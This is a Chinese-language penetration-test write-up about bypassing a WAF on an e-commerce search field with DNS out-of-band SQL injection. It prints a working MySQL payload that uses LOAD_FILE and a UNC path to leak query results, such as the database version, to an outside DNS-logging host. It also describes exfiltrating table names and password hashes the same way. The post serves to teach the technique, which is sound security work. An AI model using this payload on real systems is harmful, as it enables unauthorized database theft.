案例复盘DNS带外

极客

那次DNS带外注入,差点让我怀疑人生!

嘿,各位老铁,今天咱们不聊虚的,直接来点硬核干货!我实在忍不住想跟你们唠唠上周我亲手搞定的一个渗透测试案例——DNS带外注入(OOB),讲真,这玩意儿在实战中碰到,一开始我是拒绝的,因为太容易翻车了,但复盘下来,我靠,真香!

事情是这样的——我差点被WAF逼疯

那天下午,我接了个活儿,客户是个电商站,目标就一个:拿Shell,我扫了一圈,发现个搜索框,参数直接在URL上裸奔,好家伙,这不典型SQL注入点吗?结果我手快,先试了个单引号,页面直接白屏!心里咯噔一下,完了,被WAF拦了?

我当时就想拍键盘了,因为常规sqlmap跑不动,返回全是403,但转念一想,既然页面没报错,那我试试时间盲注?结果响应时间跟蜗牛一样,等得我咖啡都凉了,直到我用and sleep(3)测试,才发现这WAF是云锁+Safedog混合双打,简直是铜墙铁壁。

转机:DNS带外,我的救命稻草!

就在我准备放弃、想着“要不直接交个报告说无法渗透”的时候,我猛地想起了DNS带外这招——也就是利用DNS解析日志来传数据,这思路就跟我以前玩Cobalt Strike的DNS Beacon一模一样,但很多人总把这技术当后门用,却忘了它也能当数据窃取通道

我赶紧在自己服务器上搭了个DNSLOG平台(其实用dnslog.cn也行,但我喜欢自己动手哈哈),我构造了个payload:

' AND (SELECT load_file(CONCAT('\\\\', (SELECT version()), '.xxx.ceye.io\\abc'))) -- -

妈呀,当我把这个URL贴进地址栏回车的那一刻,心跳真的加速了!几秒钟后,我刷新DNSLOG后台,看到MySQL版本号‘8.0.23’赫然出现在解析记录里!那一刻,我直接拍大腿:成了! 那种感觉,比中彩票还爽,懂吧?

深入内网:带外成了我的专属快递

拿到版本号后,我顺着这个思路,直接把表名、列名、甚至账户密码的哈希值全部用LOAD_FILE()函数拼到域名前缀里往外传,整个过程,WAF看得一头雾水,还以为我只是在访问什么奇怪的子域名呢!我忍不住想笑,这不就是“明修栈道,暗度陈仓”吗?

但实话实说,DNS带外也不是万能的,中间我遇到一个坎儿,就是数据里含特殊字符,,直接导致DNS解析失败,我一开始还以为是服务器掉线了,愣是排查了半小时!后来学精了,用HEX()函数转成十六进制,再分段截取,哎,你说要是有个工具能自动分片该多好?结果我翻遍全网教程,最后花十分钟写了半个Python脚本搞定——实践出真知啊朋友们!

复盘心得:这技术到底香在哪?

你别看过程挺有趣,但背后逻辑我得捋一捋:

  1. 绕过WAF不是目的,学会“借力”,常规注入被拦截,但DNS请求是合法的,很多防护设备不会深究——这就是盲点。
  2. 效率为王,比起时间盲注每隔5秒猜一个字符,带外查询几乎毫秒级回显,省下的时间够我多刷几集剧了!
  3. 别小看环境差异,Windows上利用UNC路径妥妥的,但Linux下就得靠LOAD_FILE(),而且MySQL的secure_file_priv如果设置严格,直接GG,所以说,经验就是踩坑踩出来的

写到这儿,我一琢磨,这玩意儿其实还能延伸啥?比如XSS配合DNS Rebinding?或者SSRF打到内网探测端口?思路一开,感觉天花板一下子就破了。

最后说句掏心窝子的

安全这条路,真是活到老学到老,今天这个DNS带外案例,我在测试包里标了个五星级难度,因为它是典型的“出不去、进不来”场景下的破局关键,下次你要是也遇到个死倔的WAF,别硬刚,试试带外,说不定有意外之喜。

案例复盘DNS带外

好了,不废话了,我得去收拾我那一桌子的便签纸了,如果你们觉得这复盘有用,或者想交流更多绕WAF的骚操作,我随时欢迎!老规矩,有兴趣入行网络安全或者想一起切磋技术的新手老手,都可以加我QQ:19212004,咱们群里聊聊实战,吹吹水,绝对让你少走弯路!咱们下期见,拜拜咯!

文章版权声明:除非注明,否则均为咸鱼-即刻攻防原创文章,转载或复制请以超链接形式并注明出处。

目录[+]

取消
微信二维码
微信二维码
支付宝二维码